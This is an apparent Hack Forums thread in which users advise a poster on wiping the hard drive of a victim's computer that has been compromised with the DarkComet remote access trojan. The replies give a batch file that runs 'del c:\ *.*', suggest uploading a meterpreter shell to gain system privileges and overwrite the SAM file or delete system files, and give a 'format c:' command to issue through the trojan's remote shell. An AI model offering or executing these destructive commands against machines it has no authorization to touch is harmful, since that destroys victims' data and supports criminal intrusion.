

Forum:[Hack Forums](#)

Thread: [How to wipe someones hardrive with darkcomet?](#)

zork123 - December 7, 2013, 2:00 am

any ideas thanks in advance ?

Kirian - December 7, 2013, 2:04 am

The way you asked it looks like this is a tutorial on how to.

In future, when you want to ask something related to this put "How do you format a HD with DarkComet?"

Also, open up notepad, and put this into it:

Code @echo off

del c:\ *.*ySave the type as "All files" and make the file name, Do Nut Run.bat and execute it on the slave's PC.

Enjoy!

zork123 - December 7, 2013, 2:10 am

(Dec 7, 2013 03:04 AM)Deleterious Wrote: [\[CITE\]](#) The way you asked it looks like this is a tutorial on how to.

In future, when you want to ask something related to this put "How do you format a HD with DarkComet?"

Also, open up notepad, and put this into it:

Code @echo off

del c:\ *.*ySave the type as "All files" and make the file name, Do Nut Run.bat and execute it on the slave's PC.

Enjoy!thanks mate corrected my question thanks for the heads up

Kirian - December 7, 2013, 2:14 am

(Dec 7, 2013 03:10 AM)zork123 Wrote: [\[CITE\]](#) thanks mate corrected my question thanks for the heads up

Yeah, hope the code I gave you works.

Good Luck ?

Goodies - December 7, 2013, 2:16 am

If the vista of after and the file is not run in NT Authority mode, that script will most likely not work. I say most likely loosely because it won't work.

What you could try and do is upload a meterpreter shell, get NT Auth mode, and rewrite the SAM file :) or delete some system files.

Kirian - December 7, 2013, 2:17 am

(Dec 7, 2013 03:16 AM)Goodies Wrote: [\[CITE\]](#)

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What you could try and do is upload a meterpreter shell, get NT Auth mode, and rewrite the SAM file :) or delete some system files.

I did my best, Goodies.

Maybe you have more knowledge in hacking than I do, but he could give it a try. It won't change anything if he executes it, and the PC is still working.

Goodies - December 7, 2013, 2:19 am

(Dec 7, 2013 03:17 AM)Deleterious Wrote: [\[CITE\]](#) I did my best, Goodies.

Maybe you have more knowledge in hacking than I do, but he could give it a try. It won't change anything if he executes it, and the PC is still working.

LOL

Dude, I'm so happy that there are members helping out others!!! Don't take it as a criticism ;)

I could be wrong, but from past experience, unprivileged users cannot overwrite hard drives :P

Kirian - December 7, 2013, 2:22 am

(Dec 7, 2013 03:19 AM)Goodies Wrote: [\[CITE\]](#)

LOL

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I could be wrong, but from past experience, unprivileged users cannot overwrite hard drives :P

Oh, I get what you mean. What if the slave is an administrator? :P

Goodies - December 7, 2013, 2:24 am

(Dec 7, 2013 03:22 AM)Deleterious Wrote: [\[CITE\]](#) Oh, I get what you mean. What if the slave is an administrator? :P

Stilll, I doub it O.o

Windows is not THAT smart, but probably smart enough not to completely fuck itself.

I will try it in a win 7 VM later and see what happens xD

zork123 - December 7, 2013, 2:25 am

(Dec 7, 2013 03:22 AM)Deleterious Wrote: [\[CITE\]](#) Oh, I get what you mean. What if the slave is an administrator? :P

tried it unfortunately doesnt work but i appreciate your code man

Demoralise - December 7, 2013, 2:33 am

Use this command:

format c: /fs:NTFS

Or replace c: with the letter of the hard drive partition Windows is installed on, which can be found by starting a shell via CMD in DarkComet. the path CMD is in is the same partition as Windows is installed in.